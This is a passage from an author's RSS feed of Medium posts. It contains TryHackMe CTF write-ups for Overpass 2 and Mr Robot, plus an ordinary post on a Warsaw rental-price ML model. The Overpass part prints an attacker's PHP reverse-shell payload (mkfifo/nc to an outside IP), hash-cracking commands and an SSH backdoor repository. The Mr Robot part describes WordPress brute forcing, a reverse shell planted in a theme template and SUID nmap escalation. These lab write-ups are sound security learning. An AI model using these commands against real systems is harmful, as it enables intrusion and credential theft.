initial access.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Eza4HlxFGuLhJPmS7oMXNA.png" /><figcaption>payload content</figcaption></figure><p>As this is HTTP protocol, all the data is sent in the plaintext so we can easily read the whole communication between the malicious actor and the server. In the picture above I displayed details of the moment when the payload.php file was uploaded. We can also see the file content which is:</p><pre>&lt;?php <br><br>exec(&quot;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2&gt;&amp;1|nc 192.168.170.145 4242 &gt;/tmp/f&quot;)<br><br>?&gt;</pre><p>This is how initial access was gained. The attacker used PHP code to run a system command that called the attacking machine opening up a reverse shell.</p><p><strong>Privilege escalation<br></strong>At some point, they escalated their privileges and we’d need to know how.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*plCmIZRxjDVPhmLv-BiI4w.png" /><figcaption>The attacker is running the command with sudo</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wtCUp9wi4aFElgT3IUsnZA.png" /><figcaption>The next row captured the password used by the attacker</figcaption></figure><p>As you can see, first the attacker ran the command using “sudo” and then was prompted to insert the superuser password. That input was also captured and we can read it clearly.</p><pre>Password: whenevernoteartinstant</pre><p><strong>Persistence<br></strong>The adversary had to establish their persistence in the compromised system. The following analysis shows how did it happen.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EOPwj7WOd69bmW2L7I1Dhg.png" /></figure><p>Among the analyzed packets you can see that the attacker cloned the following repository:</p><pre>https://github.com/NinjaJc01/ssh-backdoor</pre><p>After looking at the source code (or simply the name of the repo :) ) it is easy to deduct that this is the backdoor i.e. this will allow the attacker to connect to the compromised machine after the initial exploitation.</p><p><strong>Cracking some hashes <br></strong>Tryhackme asks a question here about how many of the system passwords were crackable with the fasttrack wordlist. There is one log where we can see that the attacker displayed /etc/shadow content. Let’s copy this content and try to crack some hashes with the suggested wordlist. I used the following commands (shadow is the name of the file that I created) :</p><pre>$ sudo john --wordlist=/usr/share/wordlists/fasttrack.txt shadow<br>...<br><br>$ sudo john --show shadow<br>...</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3O33nHgOhRwDx1yeJhvgXg.png" /><figcaption>Cracked passwords</figcaption></figure><p>As you can see, there are exactly 4 passwords that can be cracked quickly with fasttrack wordlist.</p><p><strong>Backdoor analysis<br></strong>Now, we need to analyze the backdoor code that was used during the attack.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hxzxfe-VxBY3vrHEbIgvrg.png" /><figcaption>Part of the backdoor code where the flags are defined</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tnCYHkIHXFMgJYHbOJeeMQ.png" /><figcaption>Usage of the backdoor</figcaption></figure><p>In the first picture, we can see that the backdoor can be run with a set of flags. The one that was used is -a which stands for a hash. Let’s try to crack the hash that was used by the attacker.</p><p>Remember that the backdoor uses salt along with the hash. It is important when attempting to crack it. I used hashcat do that with the following command:</p><pre>hashcat -m 1710 -a 0 hash.txt /usr/share/wordlists/rockyou.txt -O</pre><p>-m flag stands for the type of the hash</p><p>1710 stands for sha512 hash with salt</p><p>-a 0 stands for straight attack mode</p><p>Then I passed a file with a hash that looks like &lt;hash&gt;:&lt;salt&gt;</p><p>-O flag for optimization</p><p>The cracked hash is november16 and we’re gonna use it in the upcoming tasks.</p><h3><strong>Hack back</strong></h3><p>It’s time to get back control over the captured system! We can try to redo the attacker&#39;s steps to gain access. Let’s use the same backdoor.</p><pre>ssh james@[target_ip] -p 2222</pre><p>Note: you might wanna use -oHostKeyAlgorithms=+ssh-rsa flag to make the connection work.</p><p>We are attempting to connect via ssh to the target on port 2222. This is where the backdoor is running regarding its source code. To double-check, you can run nmap scan against the system and see that port 2222 is open.</p><p>I’m using james account as that was the one compromised by the attacker that we saw in the logs. The password would be the one from the hash that we just cracked.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eeRpU1mavl28q0r3EmkD9g.png" /><figcaption>We are back in!</figcaption></figure><p>That worked! User’s flag is available under user.txt file. We can also notice that there’s an interesting file .suid_bash that probably escalates the privileges. It has the SUID bit set but when running it, I’m still james.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IjeUa2itD59axy-URKRjcA.png" /></figure><p>It seems that it simply runs /bin/bash. After taking a look at <a href="https://gtfobins.github.io/gtfobins/bash/">GTFOBINS</a> I found out that we can use the -p flag to become the root.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GP_KJGuAE5PRIWu7V4eWAQ.png" /><figcaption>Rooting system</figcaption></figure><p>That is it, we got the control back :)</p><h3>Summary</h3><p>That was a short write-up on Tryhackme room called “Overpass 2 Hacked”. I hope it was easy for you to follow and you enjoyed the whole story. In my opinion the room is really entertaining so I encourage you to try to go through it by yourself :)</p><p>Happy hacking!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=fc809b608864" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hacking Mr Robot themed CTF machine on Tryhackme]]></title>
            <link>https://blog.devgenius.io/hacking-mr-robot-themed-ctf-machine-on-tryhackme-12a2affc04e6?source=rss-b50072e68da8------2</link>
            <guid isPermaLink="false">https://medium.com/p/12a2affc04e6</guid>
            <category><![CDATA[writeup]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[pentesting]]></category>
            <dc:creator><![CDATA[Mateusz Rędzia]]></dc:creator>
            <pubDate>Mon, 10 Apr 2023 20:29:04 GMT</pubDate>
            <atom:updated>2023-04-10T20:34:55.487Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*rYmVL4s0hl8FXHGT" /><figcaption>Photo by <a href="https://unsplash.com/@arget?utm_source=medium&amp;utm_medium=referral">Arget</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><p>Hi! In this article, I would like to show you how I have hacked into Mr Robot themed Linux machine and captured the required flags. What is going to be mentioned from the technical aspects is:</p><ul><li><strong>nmap</strong> port scanning and directory enumeration</li><li><strong>Wordpress</strong> brute forcing user credentials</li><li>Reverse shell</li><li>Password hashes cracking</li><li>SUID privilege escalation</li></ul><p>Let’s get started!</p><h3>Reconnaissance</h3><p>At the beginning, I did some reconnaissance with nmap to see what types of services are running on the target machine. I started with an aggressive full scan discovering ports, running scripts, and trying to discover the OS.</p><pre>nmap -A [TARGET_IP] -vv</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/784/1*Oi1ogvmf5f8rscFD_gvSsg.png" /><figcaption>nmap scan results</figcaption></figure><p>So there are 3 ports open: 22, 80 and 443. SSH connection is impossible due to the fact that port 22 is closed, however, there should be some web app running so I will head to http://[TARGET_IP] to see it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JoaB-lERZHlnV_529rDrYA.png" /><figcaption>The web app</figcaption></figure><p>There is a cute website with awesome terminal animations. There are a couple of options to choose from. Each option contains either a video or some photos and text related to Mr Robot show.</p><p>This way, knowing that the web app will be my main point of focus, I decided to enumerate available directories.</p><pre>gobuster dir -u http://[IP_ADDRESS] -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/943/1*MGchBsLZK2Z0EyJRHzfrbg.png" /><figcaption>Directory enumeration results</figcaption></figure><p>There is a fair number of directories to check and some of them have some nice Easter Eggs so if you have access to THM I encourage you to go through them yourself :)</p><p>Cutting to the chase, one place that’s worth our attention is robots.txt file. It contains 2 interesting files. The first one contains a list of words and the second one is the first key (out of three) that is required to be found. Also, you might notice that directories like /wp-content or /wp-admin let us understand that we are dealing with the WordPress application.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/551/1*gsZRun-YBitmX0R2TaSsVg.png" /><figcaption>robots.txt content</figcaption></figure><p>Victory number one! ✅ (1/3)</p><p>At this point, I’m still in the reconnaissance phase going through multiple directories. I managed to determine the version of WordPress and I found the login page for the admin.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1013/1*5bjmWzWQLB0U5NtfX7u5lQ.png" /><figcaption>XML file revealing the WordPress version</figcaption></figure><h3>Brute forcing credentials</h3><p>Now my only idea was to try to brute force login and password for the admin panel. I noticed that there are different responses when the username is wrong and when only the password is wrong. I will try to use fsociety.dic file to find the username among these lines. BurpSuite and Sniper Attack will be my choice.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/955/1*sv8XCfLps1vwAHT3D86J9w.png" /><figcaption>BurpSuite sniper attack trying to guess the username</figcaption></figure><p>I didn’t mind what’s the password so I just configured Burp to send multiple usernames and the ‘123’ string as a password. The status code of the response is always 200 but thankfully the response is different so we can spot the difference by the response length.</p><p>In the screenshot, you can see that the response for the payload Elliot has a slightly different length. The HTML response gives us a pretty straightforward message:</p><pre>The password you entered for the username <strong>Elliot</strong> is incorrect.</pre><p>Wow, so we found the username!</p><p>Now it’s time to try to brute-force the password. I am going to use the same technique but this time I will set the username ‘<strong>Elliot</strong>’ as a constant and try some diverse variations of the password. Let’s stick to the same file fsociety.dic that was found under robots.txt.</p><p>That took some time… <br>But hey, we managed to find the password great!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PSVoEwW5F9sc9bkPdhqTbQ.png" /><figcaption>WordPress admin panel</figcaption></figure><p>Howdy Elliot Anderson! We broke into your account :)</p><h3>Further reconnaissance</h3><p>Here I did spend some time because I got lost in ideas on what to do and unnecessarily looked for some exploit. What is worth focusing on is this panel and its functionalities.</p><p>Under <em>Appearance&gt;Editor</em> on the left-hand side, we will spot a list of pages. The page that we can easily access is the <strong>404 Template</strong> page. Let’s see it and understand why is it important.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OfcpZ5ofGo3u51VL3kkKLA.png" /><figcaption>404 page template</figcaption></figure><p>Oh well, it is important because it contains PHP code that might give us access to the host, and in the best case we might use PHP reverse shell.</p><p>Ready to rock? Let’s do it!</p><h3>Exploitation</h3><p>I used the PHP PentestMonkey example from revshells.com and put it into the 404 template. Then I ran netcat listener on my attacking machine and opened some imaginary page, like http://[TARGET_IP]/hackme :)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nK2aTepSmdu3CIlXieFPWg.png" /><figcaption>A reverse shell established on the attacking machine</figcaption></figure><p>So here I am connected to the target and I have found another key to capture but its permissions forbid me to open it. I need to become a robot user :|</p><p>Okay, no problem (let’s hope so). There is quite an obvious hint as right next to the flag there is a file containing password hash in md5. Let’s just crack it!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ly2ZKg1xW5hNOh2aBU6puQ.png" /><figcaption>Cracked md5 hash in crackstation.net</figcaption></figure><p>Crackstation had no trouble cracking this hash. The password is abcdefghijklmnopqrstuvwxyz , lovely.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*LmSmY90KzoyVfj5a_3ufgg.png" /><figcaption>Trying to switch to user robot</figcaption></figure><p>Unfortunately, it’s not that easy to become a user robot from my reverse shell. I need to spawn a bash terminal. To do that I’m going to use Python script.</p><pre>python3 -c &#39;import pty; pty.spawn(&quot;/bin/bash&quot;)&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/609/1*Sk4owH8u-JgkegXV-HVBhQ.png" /><figcaption>Spawning bash and displaying key</figcaption></figure><p>This way we have key number 2! (2/3) ✅</p><h3>Privilege escalation</h3><p>There is still the 3rd key remaining to be found. I assume it is in a /root directory and we certainly need to become a root to get there. (If it’s not in there, still becoming a root is quite an obvious step in further system compromising).</p><p>I’m going to try the easy way here and use Linpeas script to see what type of privilege escalation vectors might this system be prone for.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/886/1*eHJ1chwmiQ1JVAWPdxzLow.png" /><figcaption>Downloading linpeas from the attacking machine</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oTPX8YNo5UETpsYpOKcROw.png" /><figcaption>SUID with nmap</figcaption></figure><p>So the interesting part is that the SUID bit is set for nmap. I did some research on how I might use that to elevate my privileges and apparently there’s nmap interactive mode.</p><pre>/usr/local/bin/nmap --interactive</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/647/1*RRbnbDx_5BwMSfGKa8-L-w.png" /><figcaption>Using nmap interactive mode to run commands as a root</figcaption></figure><p>This is it! We can now run system commands as a root and display the content of the 3rd key! (3/3) done ✅</p><h3>Summary</h3><p>That was a really fun room! I spend quite a lot of time here and after I got familiar with everything it was extremely satisfying to hack the machine and make every next step.</p><p>If you arrived until the end, thank you so much for reading, I hope you enjoyed it and I gladly invite you to my past and incoming articles!</p><p>See you!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=12a2affc04e6" width="1" height="1" alt=""><hr><p><a href="https://blog.devgenius.io/hacking-mr-robot-themed-ctf-machine-on-tryhackme-12a2affc04e6">Hacking Mr Robot themed CTF machine on Tryhackme</a> was originally published in <a href="https://blog.devgenius.io/">Dev Genius</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[I built my own housing dataset and trained a ML model to predict rental prices]]></title>
            <link>https://python.plainenglish.io/i-built-my-own-housing-dataset-and-trained-a-ml-model-to-predict-rental-prices-945b7d274ec6?source=rss-b50072e68da8------2</link>
            <guid isPermaLink="false">https://medium.com/p/945b7d274ec6</guid>
            <category><![CDATA[python]]></category>
            <category><![CDATA[web-scrapping]]></category>
            <category><![CDATA[regression]]></category>
            <category><![CDATA[machine-learning]]></category>
            <category><![CDATA[sklearn]]></category>
            <dc:creator><![CDATA[Mateusz Rędzia]]></dc:creator>
            <pubDate>Mon, 27 Mar 2023 08:40:19 GMT</pubDate>
            <atom:updated>2024-11-28T20:59:24.644Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Lc75Dm5vfD_csOg9" /><figcaption>Photo by <a href="https://unsplash.com/de/@kapischka?utm_source=medium&amp;utm_medium=referral">Paul Kapischka</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><p>Hello! In this article, I would like to present to you how I created my own housing dataset and trained a model to predict rent prices. The technologies used in my project are Python, sklearn, and Beautiful Soup. I also tried diverse ML algorithms to see which one will be most efficient. Welcome again and let’s start our journey :)</p><p>PS. You can see the code in my <a href="https://github.com/Mat2314/ml-housing-prices">GitHub repository</a> for a better understanding.</p><h3>Getting data (web scrapping)</h3><p>To create my own dataset I had to find a website with houses for rent in one of the cities. I targeted <strong>Warsaw</strong> as it is the biggest city in Poland so there should be potentially the biggest amount of offers. I found one website that shows some houses for rent and I checked whether that website allows scrapping.</p><p>After that, I defined what features do I want in my dataset and I assumed that there will be 4 columns:</p><ul><li>city district</li><li>rooms</li><li>square meters</li><li>price</li></ul><p>I’m going to train the model to predict the house rental price based on the district that the house is in, the number of rooms, and the square meters.</p><h3>The dataset</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7-M5E4uGgQ--hNKmMpi8WA.png" /><figcaption>Loading the dataset in my Jupyter Notebook</figcaption></figure><p>I got<strong> 1038 rows with 4 features</strong> that I just mentioned. The currency is naturally PLN (Polish Złoty). One column is categorical, so I will need to use <strong>OrdinalEncoder</strong> to encode ‘<em>district</em>’ values so that they were numbers. Let’s take a quick look at the dataframe description.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1014/1*Mda3_Wy0uPNT9ZBDVErCPQ.png" /></figure><p>The one thing that’s worth noticing might be that 75% of the data has a price of 5000 PLN and is lower when the maximum is 250 000 PLN. That might mean there are some strong outliers or some houses in the dataset are not for rent but for sale.</p><h3>Data visualization and data cleaning</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gyf3mYPUXQDD7BEaKiPvwg.png" /><figcaption>Warsaw districts and mean prices sorted in descending order</figcaption></figure><p>We can see that “<em>Bielany</em>” district seems like the most expensive area, right before “<em>Centrum</em>” and “<em>Śródmieście</em>” which are basically central areas of the city. That information, however, should also show us how many houses are we including in each district to count the mean price.</p><p>I had an idea to show those features on a scatterplot.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*khEmkoGu9NLqRnER0hB2SQ.png" /><figcaption>Scatterplot showing Warsaw districts, their mean prices, and amount of offers</figcaption></figure><p>So this time the bubble size stands for the mean price. The bigger it is, the more we would have to pay for the rent. Y-axis tells us how many house offers are available in a particular district. Finally, X-axis shows district names.</p><p>It is visible that some bubbles are pretty low on the chart so their mean price value did not include many offers.</p><p>Next, I’m going to use <strong>seaborn</strong> to display stats for some features and check their linearity. Let me show you “<em>rooms</em>” column analysis as an example.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*isOodxeXMgozclgO9zhzmg.png" /><figcaption>Data distribution for “rooms” column</figcaption></figure><p>We can see that prices slightly grow for a bigger amount of rooms. The most common are houses with 2 and 3 rooms. This distribution seems quite okay so I will leave it as it is for now.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JrVofI2Db6NNfWkNuO7N0A.png" /><figcaption>Data distribution for “square_meters” column</figcaption></figure><p>Here some outliers are clearly visible. I’m going to remove rows where <em>square_meters</em> value is more than 200. I will also remove rows where the price goes above 30 000 PLN. I’m going to lose some data but hopefully, gain model accuracy thanks to removing outliers.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5dSrvoCQ5vxBzGZGBuIWSA.png" /><figcaption>Data distribution for “square_meters” column after removing some columns</figcaption></figure><p>That looks a bit better. Also, the histogram on the right looks more complete. You can do more data visualization and data cleaning steps depending on your needs. I’m going to stop here and take a step forward to prepare my data for training.</p><h3>Preparation for training</h3><h4>Encoding categorical values</h4><p>Our model will work with numbers so we need to map district names to float or integer numbers. I used <strong>OrdinalEncoder</strong> to do that.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*j9glzqx51aq05Hzb_R0FWA.png" /><figcaption>Encoding categorical values</figcaption></figure><p><strong>fit()</strong> method has found unique values in the “<em>district</em>” column and <strong>transform() </strong>method changed those values to numbers referring to particular names. This way when we would try to transform the name “<em>Bemowo</em>” we would always get the value 0.0 etc.</p><h4>Divide the dataset for training and testing sets</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BKtFqROhJ2r5UWdRpd8UjQ.png" /><figcaption>Extracting features and the target + dividing dataset for train and test sets</figcaption></figure><p>First, I separated feature columns (<em>rooms</em>, <em>district</em>, <em>square_meters</em>) from the target column (<em>price</em>). Then I used train_test_split() function to generate train and test datasets. <em>test_size=0.2 </em>means that the test set will contain 20% of the dataset.</p><h4>Data standardization</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*v2R58SRYgTQANGq0GCBO4A.png" /><figcaption>Standardizing training data for better model performance</figcaption></figure><p>I used StandardScaler to standardize data to make my Linear Regression model perform better.</p><h3>Training</h3><h4>Decision Tree</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1Dql9A55YL_8Ae1MmiHbSA.png" /><figcaption>Decision tree training and results visualization</figcaption></figure><p>I started with DecisionTreeRegressor as the first algorithm. It looks really good on the example plot as the model’s predictions mostly cover house prices. Note that Decision Trees are prone to overfitting so we should try to keep the dataset clean from the noise and the tree should not be too deep. Let’s see the performance measurements:</p><pre>### Checking how does the model perform on the test data ###<br><br>R2: 0.7095148024406142<br>MAE: 805.3158097128395<br>MSE: 3989621.41933594<br>RMSE: 1997.4036696010999</pre><p>That means that the accuracy reached the level of <strong>70%</strong> and on average, the error of the prediction should be within the range of <strong>805 PLN</strong> from the real price. It depends on our expectations of how acceptable this difference is. In my opinion, for estimation purposes those values are acceptable.</p><h4>Random Forest</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qdlx8w6uS7fmMSzrZEQy9A.png" /><figcaption>RandomForestRegressor implementation and test set predictions visualization</figcaption></figure><p><strong>Random Forest</strong> is sort of extension of the Decision Tree as it consists of multiple decision trees and considers output from every single tree. This is a simple implementation without any hyperparameters tuning and at first, it looks as if the performance is similar to Decision Tree implemented before. Let’s see how it performs in general:</p><pre>### Checking how does the model perform on the test data ###<br><br>R2: 0.8296758898335707<br>MAE: 786.1530254977203<br>MSE: 2339288.62420055<br>RMSE: 1529.47331594917</pre><p>The accuracy is much higher as it reached <strong>82.9%</strong>. The <strong>Mean Absolute Error is 786</strong> which means that most predictions should differ from the real price up to <strong>786PLN</strong>. That’s actually a satisfying result.</p><h4>Linear Regression</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*O1XyowAS7_d20mqX0LrIUg.png" /><figcaption>LinearRegression results</figcaption></figure><p><strong>Linear Regression</strong> seems to be less accurate than the 2 previous algorithms for our dataset. Let’s remember that Linear Regression expects linear dependency between features and if there are some non-linear relationships, this algorithm might struggle to capture those relations.</p><pre>### Checking how does the model perform on the test data ###<br><br>R2: 0.5882496009630866<br>MAE: 1251.2523622833514<br>MSE: 5655118.488720776<br>RMSE: 2378.049303256931</pre><p>The accuracy level is <strong>58%</strong> which is much less in comparison with Decision Tree or Random Forest. It is worth mentioning that the Linear Regression algorithm is much more sensitive to outliers in the dataset. We would have to clean the data with much more precision but at the same time, we might have lost some data regarding particular houses.</p><p>Let’s visualize the relationships between features and price.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*y-9uOsT5DBRoo_IZOVTahQ.png" /><figcaption>Generate a heatmap showing the relationship between price and other features</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/680/1*b5bSdfCyldJZZ8zcW_rreg.png" /></figure><p>In the <strong>heatmap</strong>, we can see that <em>square_meters</em> and <em>rooms</em> are related to price but district is not that correlated. This seems like a value that causes non-linearity of the dataset which makes Linear Regression less effective.</p><h3>Bonus: Warsaw House Price API</h3><p>So I trained a model and how do I make it useful now? Let’s make a quick API that will allow users to send their requests to it containing the Warsaw district name, amount of rooms, and square meters of the house. In response, the API will return the predicted monthly rent for a house.</p><h4>Something fast. FastAPI :)</h4><p>I used FastAPI to create the endpoint described above. Users should send a POST request with house data in the body of the request. With FastAPI it will be easy to test due to the interactive documentation. Take a look:</p><pre># api.py module<br><br>from fastapi import FastAPI<br>from models.housing_model import HouseFeatures, PredictedPrice<br>from regression.random_forest_utils import RandomForestModelUtils<br><br>app = FastAPI()<br><br><br>@app.post(&quot;/predict&quot;)<br>def predict(features: HouseFeatures) -&gt; PredictedPrice:<br>    &quot;&quot;&quot; Handle users&#39; requests and return estimated price. &quot;&quot;&quot;<br>    rfmu = RandomForestModelUtils()<br>    price = rfmu.predict(features.district, features.rooms, features.square_meters)<br>    return PredictedPrice(price=price)</pre><p>In this module RandomForestModelUtils is a custom class that I created to load the model, convert incoming data to understandable by the model and return predicted price.</p><pre># housing_model.py module<br>from pydantic import BaseModel, validator<br><br>DISTRICTS = [&#39;Bemowo&#39;, &#39;Białołęka&#39;, &#39;Bielany&#39;, &#39;Centrum&#39;, &#39;Mokotów&#39;, &#39;Ochota&#39;,<br>            &#39;PragaPołudnie&#39;, &#39;PragaPółnoc&#39;, &#39;Rembertów&#39;, &#39;Targówek&#39;, &#39;Ursus&#39;,<br>            &#39;Ursynów&#39;, &#39;Wawer&#39;, &#39;Wesoła&#39;, &#39;Wilanów&#39;, &#39;Wola&#39;, &#39;Włochy&#39;,<br>            &#39;Śródmieście&#39;, &#39;Żoliborz&#39;]<br><br>class HouseFeatures(BaseModel):<br>    district: str<br>    square_meters: float<br>    rooms: int<br>    <br>    @validator(&#39;district&#39;)<br>    def name_in_districts(cls, v):<br>        if v not in DISTRICTS:<br>            raise ValueError(f&#39;{v} must be one of: {DISTRICTS}&#39;)<br>        return v<br><br>class PredictedPrice(BaseModel):<br>    price: float<br>    <br>    @validator(&#39;price&#39;)<br>    def two_digit_numbers(cls, v):<br>        return round(v,2)</pre><p>In the housing_model module, I defined all of the available districts. HouseFeatures class has one validator that checks if the incoming district name is among the ones that are known by the model.</p><pre># random_forest_utils.py module<br>import joblib<br>import numpy as np<br>from sklearn.preprocessing import OrdinalEncoder<br>from models.housing_model import DISTRICTS<br><br>class RandomForestModelUtils:<br>    def __init__(self):<br>        self.encoder = OrdinalEncoder()<br>        district_arrays = [[d] for d in DISTRICTS]<br>        self.encoder.fit(district_arrays)<br><br>    def load_model(self):<br>        self.model = joblib.load(&quot;./regression/random_forest_houses.joblib&quot;)<br>    <br>    def predict(self, district: str, rooms: int, square_meters: float):<br>        # Load modal<br>        self.load_model()<br>        <br>        # Get district converted to number<br>        district = self.encoder.transform([[district]])[0][0]<br>        <br>        # Convert this data to numpy array<br>        features_np_array = np.array([district, rooms, square_meters])<br>        <br>        # Predict<br>        result = self.model.predict([features_np_array])[0]<br>        <br>        return result</pre><p>RandomForestModelUtils class contains the whole logic behind mapping data and returning the predicted value. I used joblib to save the trained model to a file and then load it into the program memory.</p><h4>DEMO</h4><p>Let’s search for some house rental offers from Warsaw and see if the model will be able to estimate the price.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MwzQTEu2PbrMSJPqvg2ojw.png" /><figcaption>Offer from one of the housing portals</figcaption></figure><p>So here’s one offer with the following data for our model:</p><ul><li>District: Bemowo</li><li>Rooms: 1</li><li>Square meters: 30</li><li>Price: 2600 PLN</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fltNT9PJTjY93r_8w31Zfw.png" /><figcaption>Payload preparation</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4Ck0wUhJbcehwHsjnuzLBA.png" /><figcaption>Server response</figcaption></figure><p>Our model estimated the price to be <strong>2524 PLN</strong> when the real value is <strong>2600 PLN</strong>! That’s really close prediction :)</p><h3>Summary</h3><p>That’s it! I have shown you the steps that I took to train a ML model to predict house prices in Warsaw. First, I created my own dataset by scrapping one of the pages with house offers. Then I visualized the data and analyzed it. The data was prepared for training and I compared <strong>Decision Tree</strong>, <strong>Random Forest</strong>, and <strong>Linear Regression </strong>algorithms. In the end, the Random Forest algorithm appeared to be the best choice with over <strong>80% accuracy</strong>. I also briefly showed you how to use your model in the FastAPI endpoint.</p><p>Maybe it would be possible to improve the model accuracy by using some other algorithm or neural networks. Also, the dataset could be extended by more houses so that there would be more data to learn from.</p><p>I have also picked just 3 features for the model to learn from, however, the website that I scrapped had more data like garden access, garage access, a year when the house was built, etc. I could adjust my scrapper to get all of this data to make predictions more accurate.</p><p>It’s basically never ending discovery with data processing :)</p><p>Thank you for reading!</p><p><em>More content at </em><a href="https://plainenglish.io/"><strong><em>PlainEnglish.io</em></strong></a><em>.</em></p><p><em>Sign up for our </em><a href="http://newsletter.plainenglish.io/"><strong><em>free weekly newsletter</em></strong></a><em>. Follow us on </em><a href="https://twitter.com/inPlainEngHQ"><strong><em>Twitter</em></strong></a>, <a href="https://www.linkedin.com/company/inplainenglish/"><strong><em>LinkedIn</em></strong></a><em>, </em><a href="https://www.youtube.com/channel/UCtipWUghju290NWcn8jhyAw"><strong><em>YouTube</em></strong></a><em>, and </em><a href="https://discord.gg/GtDtUAvyhW"><strong><em>Discord</em></strong></a><strong><em>.</em></strong></p><p><strong><em>Interested in scaling your software startup</em></strong><em>? Check out </em><a href="https://circuit.ooo/?utm=publication-post-cta"><strong><em>Circuit</em></strong></a><em>.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=945b7d274ec6" width="1" height="1" alt=""><hr><p><a href="https://python.plainenglish.io/i-built-my-own-housing-dataset-and-trained-a-ml-model-to-predict-rental-prices-945b7d274ec6">I built my own housing dataset and trained a ML model to predict rental prices</a> was originally published in <a href="https://python.plainenglish.io/">Python in Plain English</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hacking Linux machine, Tryhackme Skynet writeup]]></title>
            <link>https://medium.com/@mat.redzia/hacking-linux-machine-tryhackme-skynet-writeup-98f3fec38578?source=rss-b50072e68da8------2</link>
            <guid isPermaLink="false">https://medium.com/p/98f3fec38578</guid>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[reverse-shell]]></category>
            <category><![CDATA[writeup]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[vulnerability]]></category>
            <dc:creator><![CDATA[Mateusz Rędzia]]></dc:creator>
            <pubDate>Wed, 22 Feb 2023 11:43:01 GMT</pubDate>
            <atom:updated>2023-02-22T11:43:01.432Z</atom:updated>
